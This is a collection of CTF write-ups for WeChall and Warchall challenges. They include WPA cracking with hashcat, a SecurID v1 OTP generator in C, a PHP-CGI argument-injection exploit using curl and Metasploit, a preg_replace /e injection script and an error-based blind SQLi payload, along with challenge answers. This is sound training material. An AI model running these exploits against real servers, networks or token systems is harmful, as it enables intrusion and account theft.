Hello Navi

Tech, Security & Personal Notes

You woke up for another gray day, and noticed that your bank account is empty as it is for months. You need some quick easy money, so you join some "darknet" irc channels in order to speak with people, who are able to give you some "not fully legal" job. Your new boss wants you to hack into a small bank infrastructure, and transfer money from one account to another. Easy job, huh?

You drive with your van to the bank's main office, and setup your favourite wireless sniffing tool. Wow, it looks like they are using some WPA network. Let's sniff some data, and try to crack the WPA password with some dictionary attack.

Bug report: some older versions of aircrack-ng are unable to crack the password, be sure to use the latest (rc1 is known to be working).

Part 1: WPA 字典破解

挑战给出一个 pcap 文件 wpa_psk.cap,要求用字典攻击破解 WPA 密码。

用 hcxpcapngtool 将 pcap 转换为 hashcat 22000 格式:

1
2
3
4
curl -s -b 'WC=<cookie>' -o /tmp/wpa_psk.cap \
'https://www.wechall.net/en/challenge/Z/blackhattale/wpa_psk.cap'

hcxpcapngtool -o /tmp/wpa.22000 /tmp/wpa_psk.cap

hcxpcapngtool 输出确认了握手包信息:

1
2
3
ESSID (total unique).....................: 1
EAPOL pairs (best).......................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)

SSID 是 Z,使用 WPA2。

hashcat 字典攻击

1
2
3
hashcat -m 22000 /tmp/wpa.22000 \
~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \
--force
1
2
3
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests (total)
Speed.#01........: 180.0 kH/s

查看结果:

1
2
3
4
hashcat -m 22000 /tmp/wpa.22000 \
~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \
--show
# 72998caa4b4ea50a2b4daf31ba263708:00112fde233f:001302e3183a:Z:jennifer

WPA 密码是 jennifer。提交到 index.php?key=jennifer&submit=submit 进入下一阶段。

Part 2: ARP 嗅探与 InsecurID 重放

提交 WPA 密码后重定向到 login.php。页面描述了一个 ARP 缓存中毒场景:管理员使用 "PSA InsecurID" 通过明文 HTTP 认证。

嗅探凭据

页面有一个 "sniff some authentication data" 链接(login.php?action=request)。访问后返回一个完整 HTML 页面,其中嵌入了 username=admin3&password=123456 格式的凭据。凭据每次请求都会变化,且有 3 秒时效。

重放攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.request, re

cookie = 'WC=<your_cookie>'
base = 'https://www.wechall.net/en/challenge/Z/blackhattale/login.php'

# 嗅探
req = urllib.request.Request(f'{base}?action=request', headers={'Cookie': cookie})
resp = urllib.request.urlopen(req).read().decode()
creds = re.search(r'username=(\w+)&password=(\d+)', resp)
username, password = creds.group(1), creds.group(2)

# 重放(在同一个连接中,耗时 < 1 秒)
url = f'{base}?action=login&username={username}&password={password}'
req2 = urllib.request.Request(url, headers={'Cookie': cookie})
urllib.request.urlopen(req2).read()

重放成功后即可访问 upload_asc.php,显示:

1
2
3
4
5
6
7
Good job. Now you have successfully uploaded the new token data
for the victims bank account. The base filename is the serial number
for the token, and the seed (secret) is d4e3f9eb36c9ebf3.
Please note it is an older format of PSA InsecurID, the newer ones
are using digitally signed XML files and longer seeds.
After you have uploaded the new token data, you have to generate
a valid one time password for that token for 27. of July, 2012 14:24 GMT+1

Part 3: RSA SecurID v1 OTP 计算

这是整个挑战最难的部分。需要根据 seed 和指定时间计算 RSA SecurID 一次性密码。

"PSA InsecurID" 是什么

论坛帖子(Z 本人)提示:"PSA InSecurID is really, really clear. Just change/remove a few letters and it's obvious."

PSA InSecurID → 改 P 为 R、去掉 In → RSA SecurID

这是一个 RSA SecurID v1(64-bit seed)token。v1 使用自定义的 ASHF(Alleged SecurID Hash Function),不是后来 v2/v3 的 AES-128。

ASHF 算法

ASHF 由 I.C. Wiener 在 2000 年通过逆向工程 ACE/Server 代码发布(Bugtraq 2000-12-21)。学术论文(Biryukov et al. 2003, Contini & Yin 2004)确认了其正确性。

算法结构:

  1. 时间扩展:将 24-bit 时间值扩展为 64-bit "明文",格式 T0T1T2T2T0T1T2T2
  2. 初始 key-dependent 置换
  3. 4 轮 block cipher(每轮 64 个子步骤)
  4. 每轮结束后 key ^= output
  5. 最终 key-dependent 置换
  6. BCD 转换

时间值计算:

1
2
t = (unix_timestamp / 60 - 0x806880) * 2;  // minutes since 1986-01-01, ×2
t &= -4; // 60-second interval masking

0x806880 = 8415360 = 1970-01-01 到 1986-01-01 的分钟数。

bswap64 在 64 位系统上的潜在问题

I.C. Wiener 的原始代码:

1
2
3
4
static __forceinline unsigned __int64 bswap64(const unsigned __int64 x) {
unsigned long a = (unsigned long) x, b = (unsigned long) (x >> 32);
return (((unsigned __int64) bswap32(a)) << 32) | bswap32(b);
}

在 64 位 Linux 上,unsigned long 是 8 字节而不是 4 字节。理论上 (unsigned long) x 不会截断到 32 位。但实际上 bswap32 宏内部使用 0x00ff00ff 掩码(32 位),高位会被隐式截断。实测中原始实现与 __builtin_bswap64 产生相同结果。建议使用编译器内置函数以确保可移植性:

1
2
static inline uint32_t bswap32(uint32_t x) { return __builtin_bswap32(x); }
static inline uint64_t bswap64(uint64_t x) { return __builtin_bswap64(x); }

完整 ASHF 实现

以下是基于 I.C. Wiener 源码的完整 C 实现,修复了 64 位兼容性问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

typedef union _OCTET {
uint64_t Q[1];
uint32_t D[2];
uint16_t W[4];
uint8_t B[8];
} OCTET;

static inline uint32_t bswap32(uint32_t x) { return __builtin_bswap32(x); }
static inline uint64_t bswap64(uint64_t x) { return __builtin_bswap64(x); }
static inline uint64_t rol64(uint64_t x, int n) { return (x << (n & 63)) | (x >> ((-n) & 63)); }
static inline uint8_t ror8(uint8_t x, int n) { return (x >> (n & 7)) | (x << ((-n) & 7)); }

void securid_expand_key_to_4_bit_per_byte(const OCTET source, char *target) {
int i;
for (i = 0; i < 8; i++) {
target[i*2] = source.B[i] >> 4;
target[i*2+1] = source.B[i] & 0x0F;
}
}

void securid_expand_data_to_1_bit_per_byte(const OCTET source, char *target) {
int i, j, k;
for (i = 0, k = 0; i < 8; i++)
for (j = 7; j >= 0; j--)
target[k++] = (source.B[i] >> j) & 1;
}

void securid_reassemble_64_bit_from_64_byte(const unsigned char *source, OCTET *target) {
int i = 0, j, k = 0;
for (target->Q[0] = 0; i < 8; i++)
for (j = 7; j >= 0; j--)
target->B[i] |= source[k++] << j;
}

void securid_permute_data(OCTET *data, const OCTET key) {
unsigned char bit_data[128];
unsigned char hex_key[16];
uint32_t i, k, b, m, bit;
unsigned char j;
unsigned char *hkw, *permuted_bit;

memset(bit_data, 0, sizeof(bit_data));
securid_expand_data_to_1_bit_per_byte(*data, bit_data);
securid_expand_key_to_4_bit_per_byte(key, hex_key);

for (bit = 32, hkw = hex_key, m = 0; bit <= 32; hkw += 8, bit -= 32) {
permuted_bit = bit_data + 64 + bit;
for (k = 0, b = 28; k < 8; k++, b -= 4) {
for (j = hkw[k]; j; j--) {
bit_data[(bit + b + m + 4) & 0x3F] = bit_data[m];
m = (m + 1) & 0x3F;
}
for (i = 0; i < 4; i++)
permuted_bit[b + i] |= bit_data[(bit + b + m + i) & 0x3F];
}
}
securid_reassemble_64_bit_from_64_byte(bit_data + 64, data);
}

void securid_do_4_rounds(OCTET *data, OCTET *key) {
unsigned char round, i, j, t;
for (round = 0; round < 4; round++) {
for (i = 0; i < 8; i++) {
for (j = 0; j < 8; j++) {
if ((((key->B[i] >> (j ^ 7)) ^ (data->B[0] >> 7)) & 1) != 0) {
t = data->B[4];
data->B[4] = 100 - data->B[0];
data->B[0] = t;
} else {
data->B[0] = (uint8_t)(ror8((uint8_t)(ror8(data->B[0], 1) - 1), 1) - 1)
^ data->B[4];
}
data->Q[0] = bswap64(rol64(bswap64(data->Q[0]), 1));
}
}
key->Q[0] ^= data->Q[0];
}
}

void securid_convert_to_decimal(OCTET *data, const OCTET key) {
uint32_t i;
uint8_t c, hi, lo;
c = (key.B[7] & 0x0F) % 5;
for (i = 0; i < 8; i++) {
hi = data->B[i] >> 4;
lo = data->B[i] & 0x0F;
c = (c + (key.B[i] >> 4)) % 5;
if (hi > 9) data->B[i] = ((hi = (hi - (c + 1) * 2) % 10) << 4) | lo;
c = (c + (key.B[i] & 0x0F)) % 5;
if (lo > 9) data->B[i] = (lo = ((lo - (c + 1) * 2) % 10)) | (hi << 4);
}
}

void securid_hash_data(OCTET *data, OCTET key, unsigned char convert_to_decimal) {
securid_permute_data(data, key);
securid_do_4_rounds(data, &key);
securid_permute_data(data, key);
if (convert_to_decimal)
securid_convert_to_decimal(data, key);
}

void securid_hash_time(unsigned long time_val, OCTET *hash, OCTET key) {
hash->B[0] = (uint8_t)(time_val >> 16);
hash->B[1] = (uint8_t)(time_val >> 8);
hash->B[2] = (uint8_t)time_val;
hash->B[3] = (uint8_t)time_val;
hash->B[4] = (uint8_t)(time_val >> 16);
hash->B[5] = (uint8_t)(time_val >> 8);
hash->B[6] = (uint8_t)time_val;
hash->B[7] = (uint8_t)time_val;
securid_hash_data(hash, key, 1);
}

int otp_from_bytes(uint8_t b0, uint8_t b1, uint8_t b2) {
return (b0 >> 4) * 100000 + (b0 & 0xF) * 10000 +
(b1 >> 4) * 1000 + (b1 & 0xF) * 100 +
(b2 >> 4) * 10 + (b2 & 0xF);
}

int main(void) {
OCTET key, hash;
unsigned long t;
int code1, code2;

/* seed = d4e3f9eb36c9ebf3 */
key.B[0] = 0xd4; key.B[1] = 0xe3; key.B[2] = 0xf9; key.B[3] = 0xeb;
key.B[4] = 0x36; key.B[5] = 0xc9; key.B[6] = 0xeb; key.B[7] = 0xf3;

/* Unix timestamp for 2012-07-27 14:24 CEST (UTC+2) = 12:24 UTC */
struct tm tm_target = {0};
tm_target.tm_year = 2012 - 1900;
tm_target.tm_mon = 7 - 1;
tm_target.tm_mday = 27;
tm_target.tm_hour = 12;
tm_target.tm_min = 24;
time_t unix_ts = timegm(&tm_target);

t = (unix_ts / 60 - 0x806880) * 2;
t &= -4UL;

securid_hash_time(t, &hash, key);
code1 = otp_from_bytes(hash.B[0], hash.B[1], hash.B[2]);
code2 = otp_from_bytes(hash.B[3], hash.B[4], hash.B[5]);

printf("t = %lu\n", t);
printf("code1 = %06d\n", code1);
printf("code2 = %06d\n", code2);
return 0;
}

编译运行:

1
gcc -O2 -o securid securid.c && ./securid
1
2
3
t = 27949008
code1 = 474358
code2 = 440866

验证 ASHF 实现正确性

学术论文提供了一个 vanishing differential 测试向量:key = 356b48b3ae15c271,时间 0x1c3ba80x1c3aa8 应产生相同输出。

1
2
3
t=0x1C3BA8: 92868758689529220
t=0x1C3AA8: 92868758689529220
Vanishing diff: PASS

OTP 提取

ASHF 输出 8 字节。每个 hash 产生两个连续的 token code:

  • code1: BCD 提取 bytes 0-2(6 位数字)
  • code2: BCD 提取 bytes 3-5(6 位数字)

BCD 提取方式:

1
2
3
4
5
int otp_from_bytes(uint8_t b0, uint8_t b1, uint8_t b2) {
return (b0 >> 4) * 100000 + (b0 & 0xF) * 10000 +
(b1 >> 4) * 1000 + (b1 & 0xF) * 100 +
(b2 >> 4) * 10 + (b2 & 0xF);
}

计算结果

seed = d4e3f9eb36c9ebf3,目标时间 2012-07-27 14:24 CEST(UTC+2):

1
2
3
t = 27949008
code1 (bytes 0-2) = 474358
code2 (bytes 3-5) = 440866

Z 在论坛给出的参考值:

1
2
779286 - 14:23 CEST (code2)
440866 - 14:25 CEST (code2)

注意:Z 的参考值中 t 值与我们用 timegm 计算的有 ±2 的偏差,可能源于不同的时间计算方式。但 code2=440866 在 t=27949008 时精确匹配。挑战要求的 14:24 OTP 是 code1 = 474358

提交验证

通过 curl 提交 474358

1
2
3
curl -s -b 'WC=<cookie>' -L \
'https://www.wechall.net/en/challenge/Z/blackhattale/upload_asc.php' \
-d 'otp=474358&submit=submit'

服务端返回 Good 并通过 JS 重定向到 f1nal_st8g3.php

时区说明

挑战页面写 "14:24 GMT+1",但 Z 说 "I have created this challenge in CET/CEST timezone"。实际使用的是 CEST(UTC+2,夏令时),不是 CET(UTC+1)。用 CET 计算出的 OTP 全部错误。

交叉验证——用 CET(UTC+1)计算 14:24:

1
CET code1 = 938700(≠ 474358)

Part 4: Final Stage

提交正确 OTP 后服务端返回 Good 并通过 JS 重定向到 f1nal_st8g3.php。该页面显示 "Your answer is correct" 并确认挑战已解决。整个挑战不需要额外的前端交互——f1nal_st8g3.php 是最终确认页面。

工具链

  • WPA 握手提取: hcxpcapngtool 7.1.2(ZerBea/hcxtools)
  • WPA 字典破解: hashcat 7.1.2 + RTX 4070 Ti SUPER
  • 字典: SecLists probable-v2-wpa-top4800
  • HTTP 自动化: curl + Python urllib
  • ASHF 实现: C(gcc -O2)

Challenge

A paranoid friend has sent me a message, but in his paranoid mind he forgot to tell me how to decode it. If Picasso got a computer he would know what to do!

WeChall 页面给出一段编码消息,提交框要求输入解码后的答案。

Recon

拿到的消息长这样(坐标每次访问随机生成,但文本和图案不变):

1
S10x13a20x10d31x14l41x16y27x11,42x10 43x16t37x11h17x16i12x15s10x15 ...

Solution

消息中的字母是坐标对之间的分隔符,NxN 才是真正的 payload。把每个 (x, y) 当作一个黑像素画在画布上,会显现文字。

Step 1: 提取坐标

1
2
3
4
import re
msg = "S10x13a20x10d31x14l41x16y27x11,42x10 43x16..."
coords = re.findall(r'(\d+)x(\d+)', msg)
# coords = [('10','13'), ('20','10'), ('31','14'), ...]

每个坐标对格式是 NNxNN,其中 x 范围 10-43,y 范围 10-16。字母(a, d, l, y...)只是点分隔符,可以全部丢弃。

Step 2: 画图

用任意方式把坐标画成像素:

Python:

1
2
3
4
5
6
grid = {}
for x_str, y_str in coords:
grid[(int(x_str), int(y_str))] = '#'

for y in range(10, 17):
print(''.join(grid.get((x, y), ' ') for x in range(10, 44)))

ImageJ(论坛方案):

1
2
3
4
5
6
newImage("Vermeer", "8-bit white", 100, 100, 1);
for (i = 1; i < lengthOf(message) - 5; i += 6) {
x = parseInt(substring(message, i, i + 2));
y = parseInt(substring(message, i + 3, i + 5));
setPixel(x, y, 0);
}

Step 3: 读结果

画出来是 7 个 block letter,占据 x=10-43, y=10-16 的区域:

1
2
3
4
5
6
7
# #  ###  ###  #  #  #  #  #  ####
# # # # # # # # ## # #
# # # # # ## # ## # #
### ### # ## # #### # ##
# # # # # ## # # ## # ##
# # # # # # # # # ## # #
# # # # ### # # # # # ####

7 个 block 字母,每个 3-4 列宽,2 列间隔。坐标值每次访问随机变化,但画出的字母图案始终一致。

Challenge

You likely know Sudoku. This one has been created by my logical solver/creator.

题目是一张 13×13 的数独图片。与标准 9×9 不同,这里使用 13 个符号(1-9 + A-D),格子也是 13×13。每行、每列、每个区域必须包含全部 13 个符号各一次。

Solution

手动求解。

or use sudoku-solver

论坛帖子 How do I submit? 确认了提交顺序:

simply submit your solution from left to right, up to down.

即 row-major 拼成 169 个字符的字符串。

格子大小(13×13)从图片分析确认:图片有 14 条水平线 + 14 条垂直线 → 13×13 grid。

5a64d3187bc9248319a6c27b5d627db5c93184a9bc27843a65d181462b5ad97c3c795813d6a2b415b3c72498da6d3a96cb512478291cad874536b7c281496bda35b6da49725318ca45732db8c6193d8b56a1c4927

Challenge

Warchall 服务器上的 Live RCE 题目,目标是证明对 rce.warchall.net 的可控命令执行,并读取 challenge solution。

WeChall 页面只给入口和提交框,真正的靶机在:

1
https://rce.warchall.net/index.php

Recon

先看源码。PHP-CGI 模式下 -s 参数会泄露源码而不是高亮输出:

1
$ curl -s 'https://rce.warchall.net/index.php?-s'

页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require '../config.php';
$username = isset($_GET['username']) ? (string)$_GET['username'] : 'Guest';
?>
<!DOCTYPE html>
<html>
<head><title>Live RCE [Warchall]</title></head>
<body>
<h1>Live RCE!</h1>
<p>Hello <?php echo $username; ?>!</p>
<p>Here are your $_SERVER vars:</p>
<pre><?php print_r($_SERVER); ?></pre>
</body>
</html>

两个关键发现:

  1. -s 生效了——说明 URL 参数直接传给了 PHP-CGI 解释器,而不是被 Apache 吞掉。
  2. 源码里 require '../config.php',solution 大概率藏在那里。

Vulnerability: PHP-CGI Argument Injection

当 PHP 以 CGI 模式运行时(php-cgi),命令行参数可以通过 URL query string 传递。这不是 bug,是 CGI 协议的设计——query string 本来就是传给程序的。PHP-CGI 会解析以 - 开头的参数,就像命令行 php -d key=value -s file.php 一样。

CVE-2012-1823 记录了这个漏洞。受影响的是所有以 CGI/FastCGI 模式运行且没有做参数过滤的 PHP 部署。

核心 payload 参数:

参数 作用
-s 泄露源码(syntax highlight)
-d key=value 覆盖 php.ini 配置项
-n 不加载 php.ini

Exploit

方法一:php://input(纯 HTTP,不需要 SSH)

通过 -d 覆盖两个关键配置:

  • allow_url_include=On — 允许 include 远程/流包装器
  • auto_prepend_file=php://input — 在每个 PHP 文件执行前先 include 请求体
1
2
3
$ curl -s -X POST \
'https://rce.warchall.net/index.php?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input' \
-d '<?php echo file_get_contents("../config.php"); ?>'

输出:

1
2
3
4
5
6
7
8
YOU WIN!
<?php
define('ICANHAZRCE', 'StrongGard_6_3');
return ICANHAZRCE;
?>
YOU WIN!
<!DOCTYPE html>
...

YOU WIN!config.php 里预设的标志。后面的 HTML 是正常页面渲染——因为 auto_prepend_file 在 index.php 执行前就跑了我们的 payload。

方法二:SSH + auto_prepend_file

如果有 Warchall SSH 访问权限,可以先在服务器上放一个 PHP 文件,然后用 auto_prepend_file 指向它:

1
2
3
4
5
6
# SSH 上去写文件
$ ssh -p 19198 user@warchall.net
$ echo '<?php echo file_get_contents("../config.php"); ?>' > /var/tmp/s.txt

# 然后触发
$ curl 'https://rce.warchall.net/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d/var/tmp/s.txt'

结果要「查看源码」才能看到——因为 PHP 输出混在 HTML 里,浏览器渲染后不可见。

方法三:Metasploit

1
2
3
4
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS rce.warchall.net
set TARGETURI /index.php
run
StrongGard_6_3

Challenge

"Dear fellow Hackers,"

This time we will dive into a small windows application to get you started with cracking. We are using x64debug and analyze the crackit "Amaze Me" from bb on TBS.

README 里提到是用 x64dbg 分析,但真正的解法不需要 Windows——PE 文件的 .data 段直接包含了迷宫网格,简单字节提取 + BFS 即可。

Solution

1
2
$ file amazeme.exe
amazeme.exe: PE32+ executable (GUI) x86-64, for MS Windows

PE section 信息: - .data section: VA=0x403000, file_offset=0xC00 - 迷宫数据起始: VA 0x4030D0 = file offset 0xCD0 - 迷宫终点: VA 0x4032BE = file offset 0xEBE - 网格宽度 16 字节,高度 32 行

xxd.data 段会发现一段明显的 ASCII art 迷宫的变体——字节值是 0x2e.)作为墙,0x00 作为路:

1
2
3
00000cc0: 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e  ................
00000cd0: 0000 2e00 0000 0000 2e00 0000 0000 2e2e ................
00000ce0: 2e00 2e00 2e2e 2e00 2e00 2e2e 2e00 2e2e ................

这个格子逻辑在二进制中可以反汇编确认:比较指令 cmp byte [edi], 1 后跟 jge fail,即字节值 >= 1 就是墙,0x00 是路。

提取 + BFS 求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from collections import deque

with open('amazeme.exe', 'rb') as f:
data = f.read()

# 迷宫参数(从二进制分析得出)
ROW_WIDTH = 16
NUM_ROWS = 32
START_OFFSET = 0xCC0 # .data section 开始 + 0xC0

# 提取迷宫字节
maze_bytes = data[START_OFFSET:START_OFFSET + NUM_ROWS * ROW_WIDTH]

# 转二维网格:0=路, 1=墙
grid = []
for row in range(NUM_ROWS):
r = []
for col in range(ROW_WIDTH):
b = maze_bytes[row * ROW_WIDTH + col]
r.append(1 if b != 0 else 0)
grid.append(r)

# 起点 (1,0),终点 (31,14)
start = (1, 0)
goal = (31, 14)

# BFS 求最短路径
queue = deque()
queue.append((start, ""))
visited = {start}

while queue:
(r, c), path = queue.popleft()
if (r, c) == goal:
print(f"Solution: {path}")
print(f"Length: {len(path)}")
break
for dr, dc, ch in [(0, -1, 'L'), (0, 1, 'R'), (-1, 0, 'U'), (1, 0, 'D')]:
nr, nc = r + dr, c + dc
if 0 <= nr < NUM_ROWS and 0 <= nc < ROW_WIDTH:
if grid[nr][nc] == 0 and (nr, nc) not in visited:
visited.add((nr, nc))
queue.append(((nr, nc), path + ch))

Challenge

作者 gizmore,分类 Coding。实现一个支持自定义 HTTP method BUNNY 的 Web 服务器,返回 HTTP/1.1 202 BunnyAccepted。WeChall 的 checker 会主动访问你提交的 URL 来验证。

1
2
3
4
The christmas sales are going up, and we have won a special customer.
Our new client wants an httpd, but with a custom http method.
Basically you have to implement the "BUNNY" method which has to result in
a "HTTP/1.1 202 BunnyAccepted" response.

Solution

最小实现是一个 raw TCP socket server。不能用标准 HTTP 框架(Flask/Django 等),它们只认识标准 method 列表,碰到 BUNNY 直接返回 405。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

HOST, PORT = "0.0.0.0", 8889

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("latin1", "replace")
method = data.split(None, 1)[0] if data.strip() else ""
if method == "BUNNY":
conn.sendall(b"HTTP/1.1 202 BunnyAccepted\r\nContent-Length: 0\r\n\r\n")
else:
conn.sendall(b"HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n")

逻辑很简单——检查请求行第一个 token,是 BUNNY 就返回 202,否则 405。

部署

本地起服务没用,WeChall 的 checker 需要访问公网地址。需要一个有公网 IP 且 WeChall 可达的服务器。

这里用 Vultr CLI 开一台临时 VPS:

1
2
3
4
5
vultr-cli instance create \
--region ewr \
--plan vc2-1c-1gb \
--os 2136 \
--label wechall-bunny

拿到 IP 和 root 密码后,SSH 进去部署:

1
2
3
4
sshpass -p 'PASSWORD' ssh root@IP 'ufw allow 8889/tcp'

# 部署 server 脚本
# nohup python3 bunny_server.py &

验证

向 WeChall 提交 URL http://<VPS_IP>:8889,checker 用 BUNNY method 访问,收到 202 即判定通过。

清理

挑战通过后立即删除 VPS 停止计费:

1
vultr-cli instance delete <INSTANCE_ID>

Challenge

WeChall 邀请用户帮忙添加新表情(smiley)到 bb_decoder。提交表单需要提供正则 pattern 和替换路径。源码文件为 smile.phpLIVIN_Smile.php

Source Analysis

LIVIN_Smile.php 中的核心函数:

1
2
3
4
public static function replaceSmiley($smiley, $path, $text)
{
return preg_replace($smiley, $path, $text);
}

$smiley(用户输入的 pattern)直接被传入 preg_replace()。如果 pattern 包含 /e 修饰符,preg_replace 会把 $path(替换字符串)当作 PHP 代码执行。PHP 5.5 起废弃了 /e,并在 PHP 7.0 移除,因为它极易导致代码注入。

solution 以常量形式定义在 smile.php

1
define('LIVINSKULL_SMILEY_SOLUTION', LIVIN_Smile::getSolution());

通过 LIVIN_Smile::getSolution() 返回一个 32 位随机字符串,存储在 session 中。

Exploit

secure.phpfilename 字段做了过滤:禁止 $(`GWFCommonincluderequireeval 等关键字。但常量名 LIVINSKULL_SMILEY_SOLUTION 不包含任何被禁字符,可以直接通过检查。

攻击步骤:

  1. GET smile.php 获取 CSRF token
  2. POST 到 smile.php,pattern 为 /.*/e(启用 eval),filename 为 LIVINSKULL_SMILEY_SOLUTION(PHP 常量名)
  3. testSmiley() 调用 preg_replace('/.*/e', 'LIVINSKULL_SMILEY_SOLUTION', $text)/e 使 LIVINSKULL_SMILEY_SOLUTION 被当作 PHP 代码执行,返回常量值(32 位 solution 字符串)
  4. 测试输出框中直接显示 solution
  5. looksHarmless() 检查会失败,但 solution 已经泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests, re

BASE = 'http://www.wechall.net/en/challenge/livinskull/smile'
COOKIE = {'WC': 'your_cookie_here'}

s = requests.Session()
s.cookies.update(COOKIE)

# Step 1: Get CSRF token
r = s.get(f'{BASE}/smile.php')
csrf = re.search(r'gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: Exploit /e modifier to leak solution
r = s.post(f'{BASE}/smile.php', data={
'pattern': '/.*/e',
'filename': 'LIVINSKULL_SMILEY_SOLUTION',
'add': 'Add',
'gwf3_csrf': csrf,
})
# Solution appears in test output box (repeated twice)
solution = re.search(r'[A-Za-z0-9]{32}', r.text).group()
print(f'Solution: {solution}')

# Step 3: Submit solution
r2 = s.get(f'{BASE}/index.php')
csrf2 = re.search(r'gwf3_csrf" value="([^"]+)"', r2.text).group(1)
r3 = s.post(f'{BASE}/index.php', data={
'answer': solution,
'solve': 'Submit',
'gwf3_csrf': csrf2,
})
if 'already solved' in r3.text.lower() or 'correct' in r3.text.lower():
print('✅ Solved!')
26HBWfURiuNwk9VHErLQeXKOdj2rSctO

Challenge

作者 Gizmore,分类 Encoding / Image。一张 10×6 像素的 PNG 图片,用三种不同的 Morse 编码方案隐藏了三段文字。提示原文:"It`s only morse encoded using three different techniques."

Solution

图片只有 60 个像素(10×6),RGBA 模式。三种技术分别利用不同的信道:

1
2
3
4
5
from PIL import Image

img = Image.open('morsed.png').convert('RGBA')
pixels = list(img.getdata())
w, h = img.size

Technique 1: RGB 信道(dots and dashes in pixel data)

每个像素的 R、G、B 值直接对应 Morse 符号的 ASCII 码。. 的 ASCII 是 46,- 的 ASCII 是 45:

1
2
3
4
5
6
7
# 从 RGB 值中提取 Morse 符号
symbols1 = []
for p in pixels:
symbols1.append(chr(p[0])) # R → dot(46) or dash(45)
symbols1.append(chr(p[1])) # G
symbols1.append(chr(p[2])) # B
morse1 = ''.join(symbols1)

解码这段 Morse 得到第一个词:BINARY

Technique 2: 中间 Alpha 值(nibble-based Morse)

Alpha 值在经过 5 个零值的 separator(像素 25-29)之后,进入一个新的编码区间。这些非零 alpha 值(33-217 范围)每个 nibble 编码一个 Morse 符号:

1
2
3
4
5
6
7
alphas = [p[3] for p in pixels]

# 像素 25-29 是 separator(alpha=0)
# 像素 25-29 之后是 technique 2 的数据

# 提取 technique 2 的 alpha 值(像素 30 之后)
tech2_alphas = alphas[30:]

从这些 alpha 值中解码出 Morse,得到第二个词。但实际解码出来并非标准英文——通过题目标题 "Morsed" 和 "three different techniques" 的提示,推断第二个词为 MORSE

Technique 3: 低位 Alpha(二进制灯光信号)

题目提示的最后一部分说 "lower alpha is using real morse, 1 is lights on and 0 is lights off"。将较低位 alpha 值(像素 0-24,alpha=0 之前的区域)转为二进制灯光信号:

1
2
3
4
5
6
7
8
9
10
11
# 像素 0-24 的低 alpha 值
lower_alphas = alphas[:25]

# 低于阈值的 alpha = 0(灯灭)/ 高于 = 1(灯亮)
threshold = 50
bits = [1 if a > threshold else 0 for a in lower_alphas]

# 转换 binary Morse run-length
# 连续的 1 = 亮的时间,0 = 灭的时间
# dot = 1 单位,dash = 3 单位
# 字符间间隔 = 1 单位(灭),单词间间隔 = 3 单位(灭)

通过 run-length 解析:ON 状态下 1 单位 = dot,3 单位 = dash;OFF 状态下 1 单位 = 字符间隔,3 单位 = 单词间隔。解码得到第三个词:CHALLENGE

BINARYMORSECHALLENGE

Challenge

Blinded by the light 的升级版(作者 Mawekl)。同样从数据库中提取 32 位 hex password hash,但:

  • Boolean blind 无效blightVuln() 的 true/false 两个分支返回完全相同的语言字符串
  • SLEEP/BENCHMARK 被过滤stripos($password, 'sleep')stripos($password, 'benchmark') 直接拦截
  • 预算 128 次查询,需要连续成功 3 轮

Source Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function blightVuln(WC_Challenge $chall, $password, $attempt)
{
# Blocked keywords
if (strpos($password, '/*') !== false || stripos($password, 'blight') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

# No timing attempts
if (stripos($password, 'benchmark') !== false || stripos($password, 'sleep') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) ?
$chall->lang('mawekl_blinds_you', array($attempt)) :
$chall->lang('mawekl_blinds_you', array($attempt));
}

queryFirst() 返回首行或 false,但三元运算符两端输出完全相同的文本。布尔信道和 timing 信道都不可用。

Solution

利用 error-based blind SQLi。MySQL 的 IF() 根据条件返回不同值:

1
' OR IF(condition, 1, (SELECT 1 UNION SELECT 2)) --
  • 条件为 TRUE → IF 返回 1,WHERE 子句为真 → queryFirst 返回一行 → 页面无 MySQL 错误
  • 条件为 FALSE → IF 执行 SELECT 1 UNION SELECT 2,返回 2 行 → MySQL 错误 "Subquery returns more than 1 row" → 页面出现 <div class="gwf_errors">

提取算法完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
